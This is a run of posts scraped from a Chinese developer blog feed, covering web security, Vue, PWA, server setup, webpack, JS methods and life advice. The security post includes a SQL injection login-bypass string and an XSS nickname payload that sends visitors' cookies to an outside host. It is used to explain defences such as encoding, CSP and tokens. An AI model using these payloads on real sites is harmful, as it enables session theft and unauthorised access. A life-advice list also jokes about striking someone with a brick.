浏览器自带转换为字符串var newValue = safetools.encode(value)正则加密（可能有兼容）var newValue = safetools.reEncode(value)正则解密（可能有兼容）var newValue = safetools.reDecode(value)

tag: 前端交互，涉及到数据流动并需要在返回在页面上显示的，一定要经过后端！

常见的攻击手段

1. SQL 脚本注入攻击于与防御

概念

用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入.

场景

语句

strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

如果恶意填入：

userName = “1’ OR ‘1’=’1”; passWord = “1’ OR ‘1’=’1”;

既可实现无密码登录，美滋滋吧…

处理方式

前端和 XSS 处理类似，对传递的数据进行筛选，重点是后端对数据的处理！

2. XSS 攻击与防御

概念

跨站脚本（Cross-site scripting，通常简称为：XSS）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java，VBScript，ActiveX，Flash或者甚至是普通的HTML。攻击成功后，攻击者可能得到更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。

类型

简单分类

反射型xss

通过一次 xss 请求，将数据渲染到页面，请求 -> 返回数据，例子：搜索
储存型xss

通过一次 xss 请求，直接将数据储存在数据库，下次调用无需继续请求，例如：评论

复杂分类

client 型
server 型

处理方式

编码
将 > ( 标签转换为字符串，可以处理大多数 xss 攻击
过滤
有的语句并不完全依赖<>标签，例如src=”javascript:alert(1);”
校正
这个照理来说应该后端处理，目前没碰到这种场景
```
一个直播平台，用户可以进入观看，主播可以设置自己的昵称:var starNickName = '${starNickname}'
```
这怕是要翻水水了…假设是我是主播，我把昵称设置为：
```
';window.location.href="http//:blog.jzxer.cn/?cook=" + document.cookie + '&url=' window.location.href;''
```
这一串如果传到后端，而后端又没有校正的话的话，这怕是傻眼了…观众进来一个死一个，我应该也会进去蹲几天吧，吧。。。
CSP
`
在头部加入：

`
meta：不信任任何URL，即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用HTTPS协议加载其他资源：没有限制启用后，不符合 CSP 的外部资源就会被阻止加载。

注意：该属性目前比较新，hotfix 和 chorme 支持较好，并不适用于所有的浏览器。

3. CSRF

跨站请求伪造（英语：Cross-site request forgery），也被称为 one-click attack 或者 session riding，通常缩写为 CSRF 或者 XSRF，是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本（XSS）相比，XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户网页浏览器的信任。简单地说，是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。

处理方式

验证码
在请求的同时，带个token,或者验证码
Referer Check
这个可以伪造…但加入更保险

注意：如果网站有XSS漏洞或者一些跨域漏洞，可能导致Token泄露。在XSS攻击下，读取Token值，然后再构造出一个合法的请求，可以称为：XSRF。

小结

web 安全是个需要长期坚持的事情，没有绝对安全的产品，我们需要做到的就是能够提前预防和及时修复。

]]> 安全 xss crsf 用vue撸一个二手商城 /2018/01/22/%E7%94%A8vue%E6%92%B8%E4%B8%80%E4%B8%AA%E4%BA%8C%E6%89%8B%E5%95%86%E5%9F%8E.html

开发背景

一直想尝试下全栈开发，想尝试一下，选题的初衷是自己对资源共享和二手市场的前景非常看好

共享资源的概念是有利于社会进步，并且是思维的一种跨越；未来一定是一个更美好的社会，我们需要做的就是让那一天尽早的到来

技术栈

前端

vue + vue-router + vuex
axios
muse-ui

后端

express + nodeJS

打包

webpack

数据库

MongoDB

]]> web前端 mongoDB 全栈开发 PWA初窥 /2018/01/20/PWA%E5%88%9D%E7%AA%A5.html

Progressive Web Apps

特性

渐进式：能确保每个用户都能打开网页
响应式：PC，手机，平板，不管哪种格式，网页格式都能完美适配
离线应用：支持用户在没网的条件下也能打开网页，这里就需要 Service Worker 的帮助
APP 化：能够像 APP 一样和用户进行交互
常更新：一旦 Web 网页有什么改动，都能立即在用户端体现出来
安全：安全第一，给自己的网站加上一把绿锁–HTTPS
可搜索：能够被引擎搜索到推送：做到在不打开网页的前提下，推送新的消息
可安装：能够将 Web 想 APP 一样添加到桌面
可跳转：只要通过一个连接就可以跳转到你的 Web 页面。

配置文件

minifest.json 内容{  "short_name": "pwa",  "name": "pwa - demo", // 应用名称  "icons": [ // 应用显示图标，根据容器大小适配    {      "src": "assets/imgs/48.png",      "type": "image/png",      "sizes": "48x48"    },    {      "src": "assets/imgs/96.png",      "type": "image/png",      "sizes": "96x96"    },    {      "src": "assets/imgs/192.png",      "type": "image/png",      "sizes": "192x192"    }  ],  "background_color": "#2196F3", // 刚打开页面时的背景  "theme_color": "#2196F3", // 主题颜色  "display": "standalone", //独立显示  "start_url": "index.html?launcher=true" // 启动的页面}

待续…

]]> web前端 PWA ubuntu下搭建一个nodejs+nginx+mongodb服务器 /2017/12/27/ubuntu%E4%B8%8B%E6%90%AD%E5%BB%BA%E4%B8%80%E4%B8%AAnodejs-nginx-mongodb%E6%9C%8D%E5%8A%A1%E5%99%A8.html

ubuntu 使用方法

首先输入fdisk -l命令后,发现/dev/vdb，说明实例含有数据盘，需要挂载运行fdisk /dev/vdb，对数据盘进行分区，依次输入n,p,1，然后按两次回车，最后输入wq，进行分区分区完成之后运行fdisk -l命令，查看新的分区。可以看到新的分区vdb1已经创建好了。运行mkfs.ext3 /dev/vdb,对新分区进行格式化。格式化完成之后运行echo /dev/xvdb1 /mnt ext3 defaults 0 0 >> /etc/fstab (这是一条命令)写入分区信息。完成之后运行 cat /etc/fstab 可以进行查看运行mount /dev/vdb1 /mnt 挂载新分区，然后执行df -h 查看分区，如果出现数据盘信息，说明挂载成功，就可以开始使用新分区作者：wuyumumu链接：https://www.jianshu.com/p/8fb738cd8672來源：简书著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。

nodejs 安装

sudo apt-get updatesudo apt-get install nodejssudo apt-get install npm

特别注意：Ubuntu中可执行的名字是 nodejs 而不是node

额外工具 n

一款管理nodejs版本的工具

升级node.js到最新稳定版n stable升级node.js到最新版n latest

安装Nginx

安装gcc g++的依赖库apt-get install build-essentialapt-get install libtool安装 pcre依赖库sudo apt-get updatesudo apt-get install libpcre3 libpcre3-dev安装 zlib依赖库apt-get install zlib1g-dev安装 ssl依赖库apt-get install openssl安装Nginx（http://nginx.org）#下载最新版本：wget http://nginx.org/download/nginx-1.13.4.tar.gz（根据官网查看最新版本下载对应版本）#解压：tar -zxvf nginx-1.13.4.tar.gz#进入解压目录：cd nginx-1.13.4#配置：./configure --prefix=/usr/local/nginx #编辑nginx：make#安装nginx：sudo make install#启动nginx：先切到根目录cd /sudo /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf#查看nginx进程：ps -ef|grep nginx #查看nginx版本(根目录下执行)usr/local/nginx/sbin/nginx   -v

测试nginx安装成功
wget http://127.0.0.1 （会下载一个默认的html文件，直接ls查看当前目录可看到）

]]> 服务器 nodejs ubuntu vscode 配置插件推荐 /2017/12/26/vscode-%E9%85%8D%E7%BD%AE%E6%8F%92%E4%BB%B6%E6%8E%A8%E8%8D%90.html

vscode 配置

auto-Open Markdown

markdown 预览插件

beautify

让代码更符合规范

Bracket Pair Colorizer

括号上色插件，神器推荐

vscode-ext-color-highlight

颜色上色插件

color-picker

取色插件

cssrem

rem转换工具

Debugger for Chrome

debugger插件，正在学怎么用

ESlint

代码规范插件

file-icons

图标插件

git History

查看历史修改记录插件

hopscotch

可爱的代码颜色风格

html css support

应该改支持代码提示插件吧

markdownlint

markdown 语法提示插件

path autocomplete

路径补全插件

react native tools

暂时没用上

react-native

也没用上

settings sync

插件备份工具，神器

background

一款美化插件配置如下：

"background.useDefault": false,    "background.enabled": true,    "background.customImages": [        "file:///Users/mac/Desktop/improve/1.jpg"    ],    "background.style": {        "opacity": 0.1,        "width": "1600px",        "height": "1150px"    }

ps: 超级超级吃 CPU 慎用！！

]]> IDE vscode learn express /2017/12/20/learn-express.html

深入了解express

构建一个 express 实例

cnpm i express-generator -g

目录结构

.├── app.js├── bin│   └── www├── package.json├── public│   ├── images│   ├── javascripts│   └── stylesheets│       └── style.css├── routes│   ├── index.js│   └── users.js└── views    ├── error.jade    ├── index.jade    └── layout.jade7 directories, 9 files

中间件

应用级中间件

<!-- 没有挂载路径 -->app.use(function (req, res, next) {    ...    next()}, function (req, res, next) {  console.log('Request Type:', req.method);  next();})<!-- 挂载路径的中间件 -->app.use('/user/', function(req, res, next){    ...    next()})路由和句柄函数，处理get（post）请求app.get('/', function() {    res.send('USER')})

路由级中间件

var app = express()
var router = express.Router()
`
和上面类似，只是写法不同
router.use(‘/‘, function(req, res, next) {
…

next()

})

app.use(‘/‘, router)

#### 错误处理中间件

app.use(function (err, req, res, next) {
console.error(err.stack);
res.status(500).send(‘Something broke!’);
});

#### 内置中间件> 唯一内置中间件：express.static()* dotfiles    是否对外输出文件名以点（.）开头的文件。        可选值为 “allow”、“deny” 和 “ignore”     默认：ignore* etag    是否启用 etag 生成    默认：true* extensions    设置文件扩展名备份选项    默认：[]* index    发送目录索引文件，设置为 false 禁用目录索引。    Mixed    默认：“index.html”* lastModified    设置 Last-Modified 头为文件在操作系统上的最后修改日期。可能值为 true 或 false。        默认：true* maxAge    以毫秒或者其字符串格式设置 Cache-Control 头的 max-age 属性。    默认：0* redirect    当路径为目录时，重定向至 “/”。        默认：true* setHeaders    设置 HTTP 头以提供文件的函数。    Function

app.use(express.static(‘public’, options));

#### 第三方中间件##### cookie-parser用于解析 cookie 的中间件##### body-parser用于解析request body部分，并对上传内容大小作出限制

app.use(bodyParser.json({ limit: ‘50mb’ }));
app.use(bodyParser.urlencoded({ limit: ‘50mb’, extended: true }));

#### canvas

var base64Data = req.body.imgData;var img = new Canvas.Image;img.onload = function(){  var w = img.width;  var h = img.height;  var canvas = new Canvas(w, h);  var ctx = canvas.getContext('2d');  ctx.drawImage(img, 0, 0);  var out = fs.createWriteStream(__dirname + '/crop.jpg');  var stream = canvas.createJPEGStream({    bufsize : 2048,    quality : 80  });  stream.on('data', function(chunk){    out.write(chunk);  });  stream.on('end', function(){    out.end();    res.send("上传成功！");  });}img.onerror = function(err){  res.send(err);}img.src = base64Data;

#### fs模块 (node自带模块)对文件执行读取和写入

function(req, res, next) {
if (req.body.formFile) {
// 对象转换为字符串

var base64Data = req.body.formFile.replace(/^data:image\/\w+;base64,/, “”);

var dataBuffer = new Buffer(base64Data, ‘base64’);

fs.writeFile(“out.png”, dataBuffer, function (err) {
if (err) {
res.send(err);
} else {
res.send(“保存成功！”);
}
});
}
}
`

]]> nodeJS express urlMaker /2017/12/18/urlMaker.html

urlMaker 开发流程

项目需求

对 url 链接中的汉字和参数进行替换

技术栈

框架：react
注意：路由用的是4.0版
打包工具：webpack2.0
代码：es6
规范：ESlint

前期准备

由于之前的项目中都用的是 gulp 打包，所以 webpack 是个大坑，由于没有怎么深入了解，所以对其中的一些配置有点茫然，想起之前用过 vue-cli，里面有 webpack 的配置，然后，就没有然后了……
百度是个好东西，寻找了一系列文章，个人认为简书上的《入门webpack，看这篇就够了》足矣满足大多数需求，很感谢作者的良苦用心。点赞！

环境配置

webpack 核心模块

entry

项目唯一入口

这里发现一个问题，就是当我打包时全部 js 在同一个文件中，文件太大了，性能体验上是非常可怕的，反正我觉得如果2g网浏览是GG了的。处理的方式是: 给入口添加一个 vendor，将依赖库写入这个 vendor 中,如果觉得依赖包太大可以写成 vendor1，vendor2.

output

项目输出文件夹

[name].[hash:8].js

module

html,js,css,img 处理组件

css-loader
babel-loader
url-loader
style-loader
postcss-loader

plugins

其他优化插件,该处只介绍 webpack 自带的一些插件库

webpack.BannerPlugin
给打包文件添加一个banner
webpack.optimize.UglifyJsPlugin
压缩 js
webpack.optimize.OccurrenceOrderPlugin
添加唯一 ID

webpack 推荐模块

webpack-dev-server

热加载插件，在 script 中的命令参数：

–devtool eval:为你的代码创建源地址。当有任何报错的时候可以让你更加精确地定位到文件和行号
–progress: 显示合并代码进度
–colors: 在命令行中显示颜色
–content-base build: 指向设置的输出目录
–hot: 注意在 config 文件中如果已经new plugin，就不要hot了，二选一。

html-webpack-plugin

根据预先的模板实例化一个html

new HtmlWebpackPlugin({        title: '',        template: __dirname + "/src/index.html",        minify: {            "removeAttributeQuotes": true,      //  移除注释            "removeComments": true,             //  移除空格            "removeEmptyAttributes": true,      //  移除空白行        },        chunks: ['index', 'vendors'],   // 配置该html文件要添加的模块        // inject: 'body'    })

clean-webpack-plugin

删除 webpack 缓存插件

new CleanWebpackPlugin('build/', {          //  清除缓存文件        root: __dirname,        verbose: true,        dry: false    })

extract-text-webpack-plugin

将 css 抽离出 js

test: /\.css$/,use: ExtractTextPlugin.extract({    fallback: "style-loader",               // 提取 css 文件    use: [{                                 // 编译文件            loader: "css-loader",            options: {                // modules: true,              // 组件化                minimize: true              // 压缩            }        }, {            loader: "postcss-loader"     // 将 css 添加前缀        }    ]})

friendly-errors-webpack-plugin

友好的错误提示插件

package.json 配置

依赖包

autoprefixer(需要和 postcss-loader 一起使用)
补全 css 前缀

babel 合集

babel-corebabel-loaderbabel-plugin-react-transformbabel-preset-envbabel-preset-react

react-transform-catch-errors、redbox-react
react 报错插件
copy-to-clipboard
点击复制到剪贴板插件

项目挖坑大全

关于 react-router-dom（我只能说，我的心好痛，调了3天没找到问题）

引入和使用
`
import { HashRouter as Router, Route, Link } from ‘react-router-dom’

ReactDOM.render(

,
document.getElementById(‘app’)
)

在父级 APP 中记得加入 this.props.children
`

路由渲染不要带着DOM一起渲染，如果可以将 router 单独作为一个组件处理，本例稍简单，并未分离出去

关于图片打包

神坑啊！设置的时候是将 8K 以内的图片打包后转为 base64，所以并看不到 img 文件夹生成。。。而我判断打包成功的标准就是是否生成 img 文件夹

]]> web项目 react webpack 我个人的coding风格 /2017/11/26/%E6%88%91%E4%B8%AA%E4%BA%BA%E7%9A%84coding%E9%A3%8E%E6%A0%BC.html

我一直在探索属于我自己独一无二的代码风格

识别度高的 HTML

简洁大方的 CSS

可维护性强的 js

最近在看这本书，书中有很多技巧让我受益颇多

基本格式

缩进保持 4 个空格
if else 语句和上一个 if 语句中间留个空行
注释另起一行
不写分号，保持样式简洁
符号与字符串之间要空行
中文和英文之间用空格拆开
单行代码长度不超过 80 个字符
如果一行代码超过最大限度，换行的给两个默认缩进，增加辨识度
另外，换行缩进不要带符号换行

命名方式：

  1· 方法函数是驼峰命名  2· 构造函数是首字母大写命名  3· 常量采取全大写命名  4· js 中不要省略小数点前的 0 （css可以）

多次申明单var
if 语句即使再短，也不要写在一行
申明在调用的前面
函数调用，参数要左右空格，以突出参数
立即执行函数若赋值给某个对象，给该函数加一个圆括号
尽量不使用 === 和 != (强转换机制)
css 和 JavaScript 的松耦合
避免使用全局变量
组件式开发时，_ 开头为私有方法，监听事件前缀为 handle，事件监听传递时，属性名用 on 开头

react组件内容编写顺序：

  1. static 开头类的属性，eg：defaultProps， propTypes  2. 构造函数 constructor  3. getter/setter   4. 组件生命周期  5. _开头的私有方法  6. 事件监听方法  7. render* 开头的方法  8. render

EXP(以 react 为例):
`
//组件
class Exp extends Component {
//初始化
static propTypes = {
onSubmit: PropTypes.func
}

    //构造函数    constructor () {        super()        this.state = {            test: '1'        }    }    // getter/setter    getter() {    }    // 即将挂载    componentWillMount () {        localStorage.getItem('username')    }    // 已挂载    componentDidMount () {    }    // 私有方法    _selfFunction (username) {        localStorage.setItem('username', username)    }    // 监听方法    function1 () {        //第一个 if 语句        if () {            var test = 'abc',                first = 1,                //立即执行函数                secound = (function () { return 0}())            //第二个 if 语句            if (allNumber || first || secound || third || monday || sunday ||                     satarday) {                //第三个 if 语句                if () {                    function act (ppt) {}                    act( ppt )                    }                }        } else {        }    }}

]]> web前端 CStyle 常见的兼容性问题 /2017/10/22/%E5%B8%B8%E8%A7%81%E7%9A%84%E5%85%BC%E5%AE%B9%E6%80%A7%E9%97%AE%E9%A2%98.html

html 对象获取问题

IE: document.idname (老版本)
解决办法：统一用 getElementById()

const 问题

IE：只能用 var
解决办法：统一用 var

event.x/y 问题

IE：只有 event.x/y 没有pageX/Y
解决办法：mX = event.x/y ? event.x/y : event.pageX/Y

window.location.href 问题

IE 和 Firefox1.5 以下：只能用 window.location
解决办法：只用window.location

frame 问题

1、访问对象
IE：可以通过 id 和 name 访问
Firefox：只能通过 name

Firefox 和 IE 的父元素 parentElement 的区别

IE：obj.parentElement
Firefox：obj.parentNode
解决办法：都用obj.parentNode

table 操作问题

IE：不允许在 table 和 tr 的 innerHTML 中操作，appendchild 都不行
解决办法：建议用框架，也可以向 js 中添加一个空行

对象宽高赋值问题

Firefox 中 obj.style.height = imgObj.height 语句无效

innerText 问题

在 Firefox 中无法使用
解决办法：

if (navigator.appName.indexOf('Explorer') > -1) {  document.getElementById('element').innerText = 'my text'} else {  document.getElementById('element').textContent = 'my text'}

FF 和 IE 解释相差 2px

box {width:100px; border: 1px;}
IE：box.width = 100
FF：box.width = 100 + 1*2
解决方法：{width: 100px!important; width: 98px;}

margin 加倍的问题

设置为 float 的 div 在 ie 下设置的 margin 会加倍
解决方法：加入 display：inline

页面的最小宽度

IE 不识别 min
解决方法：min-width: 600px; width: expression(document.body.clientWidth < 600px ? ‘600px’ : ‘auto’)

div 浮动 IE 文本产生 3px bug

解决方法：左边浮动，右边margin-right: -3px;

li 中内容超过长度以省略号显示

li {    width:200px;    white-spave: nowrap;    text-overflow: elipsis;    overflow: hidden;}

FF 不支持

IE 不能换滚动条颜色

解决方法：将 body 换成 HTML
html {scrollbar-face-color: #fff;….}

如何让层显示在 flash 之上

解决方法：将flash 设置为透明

超链接访问过后 hover 就不显示的问题

解决方法：注意顺序 L-V-H-A

form 标签初始化

在 IE 中会有一点边距
解决方法：ul,form {margin: 0; padding: 0;}

js 强制兼容

可以下载 js 库

####

]]> web前端兼容性前端 js中的一些方法和函数 /2017/10/22/js%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E6%96%B9%E6%B3%95%E5%92%8C%E5%87%BD%E6%95%B0.html

原生 JS 一些方法和函数

方法

subStr(start, length)

可以在字符串中抽取从 start下标开始的指定数目的字符

length可以不要，代表整个截取的长度

slice(start, end)

可以在数组 start 开始截取指定长度的数组，如果为负数就从最后一个开始，subStr也是

end 不包括end本身

split(separator, howmany)

把字符串分割成字符串数组

separator 可以是字符串，也可以是正则，howmany 表示截取的长度不超过该数量

splice(index, howmany, item1…,itemX)

从数组中添加/删除项目，然后返回被删除的项目

index 表示删除的位置，howmany 表示删除几项，如果为0表示不删除，item代表插入的项目

replace(‘old’, new)

把字符串中老的字符替换成新的字符

str1.concat(str2…strX)

在原来的字符串基础上连接多个字符串，也可以连接数组

str.match(Exp)

找到一个或多个和正则表达式的匹配

str.search(Exp)

找到第一次出现正则表达式或者字符串的地方，返回该位置的下标，如果没有就返回-1

toUpperCase() toLowerCase()

字符串大小写切换

trim（）

去除字符串两边的空白

arr.every(check)

判断数组中的所有项是否都符合条件

arr.fill(‘str’)

用字符串固定替换数组的元素

oldArr.filter(function(currentValue, index, newArr), thisValue)

创建一个新的数组 newArr, 新数组是通过检测的所有oldArr元素的集合

arr.join(separator)

将数组转换成字符串，并用separator 分开，可以省略

reverse()

反转字符串或数组

函数

判断客户端手机型号

var BrowserInfo = {    userAgent: navigator.userAgent.toLowerCase()    isAndroid: Boolean(navigator.userAgent.match(/android/ig)),    isIphone: Boolean(navigator.userAgent.match(/iphone|ipod/ig)),    isIpad: Boolean(navigator.userAgent.match(/ipad/ig)),    isWeixin: Boolean(navigator.userAgent.match(/MicroMessenger/ig)),}

获取 url 的参数

function getExp(name, url) {    var reg = new RegExp("(^|\\?|&)" + name + "=([^&]*)(\\s|&|$)", "i")    if (reg.test(url)) return decodeURIComponent(RegExp.$2.replace(/\+/g, " ")) return ""}

全屏显示

function launchFullScreen(element) {    if (element.requestFullScreen) {        element.requestFullScreen();    } else if (element.mozRequestFullScreen) {        element.mozRequestFullScreen();    } else if (element.webkitRequestFullScreen) {        element.webkitRequestFullScreen();    }}

全选/全不选

function selectAll(objSelect) {    if(objSelect.checked == true) {        $("input[name='chkId']").attr("checked", true)        $("input[name='chkAll']").attr("checked", true)    } else if (objSelect.checked == true) {        $("input[name='chkId']").attr("checked", false)        $("input[name='chkAll']").attr("checked", false)    }}

判断浏览器

<!--判断是否是 IE 浏览器-->    if (document.all){        alert(”IE浏览器”);    }else{        alert(”非IE浏览器”);    }    if (!!window.ActiveXObject){        alert(”IE浏览器”);    }else{        alert(”非IE浏览器”);    }<!--判断是IE几-->var isIE=!!window.ActiveXObject;var isIE6=isIE&&!window.XMLHttpRequest;var isIE8=isIE&&!!document.documentMode;var isIE7=isIE&&!isIE6&&!isIE8;if (isIE){    if (isIE6){        alert(”ie6″);    }else if (isIE8){        alert(”ie8″);    }else if (isIE7){        alert(”ie7″);    }}

function setCookie(name, value, expires, path, domain) {    if (!expires) expires = -1    if (!path) path = "/"    var d = "" + name + "=" + value    var e    if (expires < 0) {        e = ""    }    else if (expires == 0) {        var f = new Date(1970, 1, 1)        e = ";expires=" + f.toUTCString()    }    else {        var now = new Date()        var f = new Date(now.getTime() + expires * 1000)        e = ";expires=" + f.toUTCString()    }    var dm;    if (!domain) {        dm = ""    }    else {        dm = ";domain=" + domain    }    document.cookie = name + "=" + value + ";path=" + path + e + dm};

function readCookie(name) {    var nameEQ = name + "="    var ca = document.cookie.split(';')    for (var i = 0; i < ca.length; i++) {        var c = ca[i]        while (c.charAt(0) == ' ') c = c.substring(1, c.length)        if (c.indexOf(nameEQ) == 0) {            return decodeURIComponent(c.substring(nameEQ.length, c.length))        }    } return null}

]]> web前端 js methods 董思阳的忠告 /2017/10/19/%E8%91%A3%E6%80%9D%E9%98%B3%E7%9A%84%E5%BF%A0%E5%91%8A.html

关于成功

1、记住，平均每天看电视超过三小时以上的，一定都是那些月收入不超过两千元的，如果你想要月收入超过两千，请不要把时间浪费在电视上，同样的道理，那些平均每天玩网络游戏或聊天超过三个小时以上的，也都是那些月收入不超过两千的。
2、这个世界，有这么一小撮的人，打开报纸，是他们的消息，打开电视，是他们的消息，街头巷尾，议论的事他们的消息，仿佛世界是为他们准备的，他们能够呼风唤雨，无所不能。你的目标，应该是努力成为这一小撮人。
3、如果，你真的爱你的爸妈，爱你的女朋友，就好好得去奋斗，去拼搏吧，这样，你才有能力，有经济条件，有自由时间，去陪她们，去好好爱他们。
4、这个社会，是赢家通吃，输者一无所有，社会，永远都是只以成败论英雄。过程只是人生的一部分，再辛苦，没有成功只能说明你的能力还不够。
5、这个世界上，一流的人才，可以把三流项目做成二流或更好，但是，三流人才，会把一流项目，做的还不如三流。
6、趁着年轻，多出去走走看看，读万卷书，不如行万里路，行万里路，不如阅人无数。
7、与人交往的时候，多听少说，这就是，上帝为什么给我们一个嘴巴两个耳朵的原因。
8、不要装13，对于装13的人，最好的办法就是，见块砖头，悄悄跟上去，一下子从背后放到他。
9、一个年轻人，如果三年的时间里，没有任何想法，他这一生，就基本这个样子，没有多大改变了。
10、成功者就是胆识加魄力。
11、给自己定一个五年的目标，然后，把它分解成一年一年，半年半年的，三个月的，一个月的，这样，你才能找到自己的目标和方向。
12、如果我只能送你一句忠告，那就是，这个世界上没有免费的午餐，永远不要走捷径。

忠告

1、给自己定目标，一年、两年、五年，也许你出生不如别人好，通过努力，往往可以改变70%的命运，破罐子破摔只能和懦弱做朋友。
2、朋友请你吃饭，不要觉得理所当然，请礼尚往来，否则你的名声会越来越差。
3、好朋友里面，一定要培养出一个知己，不要以为你有多么八面玲珑，到处是朋友，最后真心对你的，只要一个，相信我。
4、不喜欢的人少接触，但别在背后说坏话，说是非之人，必定是是非之人，谨记，祸从口出。
5、是人都有惰性，这是与生俱来的，但是我们后天可以改变这种惰性，因为有很多人正在改变，对于某种事物或是生意不要等别人做到了，我才想到，不要等别人已经赚到钱了，我才想去做，没有人相信的是市场和机遇，大家都相信的叫做膨胀。
6、知道自己要干什么，夜深人静，问问自己，将来的打算，并朝着那个方向去实现，而不是无所事事和做一些无谓的事。
7、出路出路，走出去了，总是会有路的，困难苦难，困在家里就是难，社会普遍认为。
8、做人，要做到；万事孝为先，教童品之道，夫妻和谐美，幸福万年长。但是这些不是拿来用嘴说说就能办到的，解放初期年代要做到这些，需要付出很大的努力和辛苦，当今现实的社会需要你付出很大的金钱，聪明的人都知道这个道理。
9、空闲时间不要经常上网做无聊的事和玩一些没有意义的游戏，读点文学作品，学习一些经营流程，管理规范，国际时事，法律常识。这能保证你在任何聚会都有谈资。
10、宁可错杀一千次来自各方面的信息，也不放过任何一个有可能成功的机会。只有这样你才不会去买后悔药。
11、要做一件事，成功之前，没有必要告诉其他人。成功之后不用你说，其他人都会知道的。这就是信息时代所带来的效应。
12、力求上进的人，不要总想着靠谁谁，人都是自私的，自己才是最靠得住的人。

小结

二十岁没钱，那很正常；三十岁没钱，可能是没有好的家境，需要更大的努力；四十岁没钱，只能自己找原因。穷人变成富人是可能的，而且很可能。穷人能穷一辈子，也是必然的，存在就是理由，只是有所选择。

]]> 生活哲理 hybird /2017/10/11/hybird.html

app分为几类？

native：语言object-c，java，页面存放在本地
hybird：语言object-c + html，受限于UIview
web：语言html，页面放在服务器，受限于UIview

native APP

优点

运行效率高
可调用各种设备资源

缺点

人力资源成本高
发布速度慢
更新版本的问题
实现图文混排很多坑

web APP

优点

开发成本低
使用范围广
方便快捷部署，不需要安装
用户总能访问最新的，迭代更容易
可被搜索引擎搜索带来流量

缺点

体验短期无法超越 native
不支持离线模式
消息推送不及时
调用本地文件系统能力较弱
较差和较慢的性能体验
支持图形和动画效果较差
不适用于应用商店盈利
限制用户功能（gps，相机等）

hybird APP

优点

综合开发效率
发版本更方便

缺点

运行效率中等
需要一点原生代码

]]> APP hybird 前端面试题 /2017/09/18/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E9%A2%98.html

前言

前端的难度，每18-24个月一轮回
关注技术动态，跟上节奏

注意

题目类型：理论知识，算法，项目细节，技术视野，开放性题，工作案例
细节追问：可以确保问到你开始不懂和面试官开始不懂为止
回答问题再棒，更要会做人
要靠谱

知识点

html & css：对web标准的理解，浏览器内核差异，兼容性，hack，css基本功：布局，盒子模型，选择器优先级，flexbox
javascript: 数据类型，运算，对象，function，继承，闭包，作用域，原型链，事件，正则（regExp），json，ajax，dom，bom，内存泄漏，跨域，异步封装，模板引擎，前端mvc，路由，模块化，canvas，es6，nodeJS
其他：移动端，相应式，自动化构建，http，离线储存，web安全，优化，重构，团队协作，可维护，易用性，SEO，UED，架构，职业生涯，快速学习能力

html && css

html5 为啥只需写 <!DOCTYPE HTML>

不基于 SGML（通用标记语言）

iframe 缺点？

阻塞搜索引擎，不利于SEO
和主页面共享连接池，影响连接速度
如果要用，建议用 js 动态添加 src 可以绕开以上问题

javascript

如何实现 js 与 json 互换

json 化
var json = JSON.stringfy({a: ‘hello’, b: ‘world’})
字符串化
var obj = JSON.parse(‘{“a”: “hello”}’)

其他

]]> web前端面试 simpleCountry /2017/09/14/simpleCountry.html

简介

昨天晚上想到这个名字，觉得很酷炫，如果可以我想现在就用这个成立一个品牌。打造一个只有简单元素的社区，因为我本人就是一个极简主义者，不喜欢复杂花俏。从生活作为一个切入点。不管是衣食住行，都做到简单，完美。

构思

构建一款 app 产品，它没有花俏的外观，没有多余的赘述，只有简单的产品图片，购买按钮，收藏，做垂直细分,可以是服装，家居，交通工具。
贯彻的理念是从生活出发，然后将自己的极简思想投入其中，艺术与生活相互结合。
例如：一款座椅用一条腿代替4条腿，或者是两条腿代替4条腿，一体式座椅，服装，色调不花俏，单色或者是拼色，会给人简单美好

待续~

小记

我喜欢摇滚，喜欢积极向上的生活，但不喜欢摇滚中的聒噪，所以我憧憬清摇滚，就是用清淡的节奏和热血的旋律谱写出简单的美好，这是我今后的目标，也会作为我的理念。

]]> 生活 SC learn-koa /2017/09/06/learn-koa.html

app.use()

]]> nodeJS koa 如何成为一名合格的CEO /2017/08/28/%E5%A6%82%E4%BD%95%E6%88%90%E4%B8%BA%E4%B8%80%E5%90%8D%E5%90%88%E6%A0%BC%E7%9A%84CEO.html

集中精力抓到要害问题

好的ceo善于俯视整个公司，确定最优先要做的事前，然后重点突破，一两件事就能使公司发生巨大的变化。如果你能抓住公司面临问题的要害之处，人们才会洗耳恭听

销售能力

ceo 必须具备推销能力，把东西推销给客户和投资者，或者把革命思想推荐给公司

对财务的敏感

读懂数据，把纸上的东西和实际的公司情况结合起来，不仅仅是预算问题，也需要思考盈利的驱动力问题。

有策略头脑

策略就是选择公司将参与角逐的竞技场，然后建立与这场竞争想关的优势。这样会考验你如何适应游戏规则并在游戏中获胜

管理变革的能力

在整个公司的变革，犹如管理一个部门，但要困难的多，你的行动要有号召力。你必须为人们树立一个榜样，挑选真确的管理团队，确定可能妨碍或阻止你的层层挑战

领导能力

领导需要精力和激情。你必须先感召你自己，然后感召其他人。但激情也不是无根无据的滥用，一个坚定的长远目标很重要。

个性魅力

伟大的ceo知道什么时候用逻辑推理，什么时候相信自己的直觉，他们知道什么时候应该采取什么措施，什么时候听之任之，他知道什么时候管什么时候不要管。

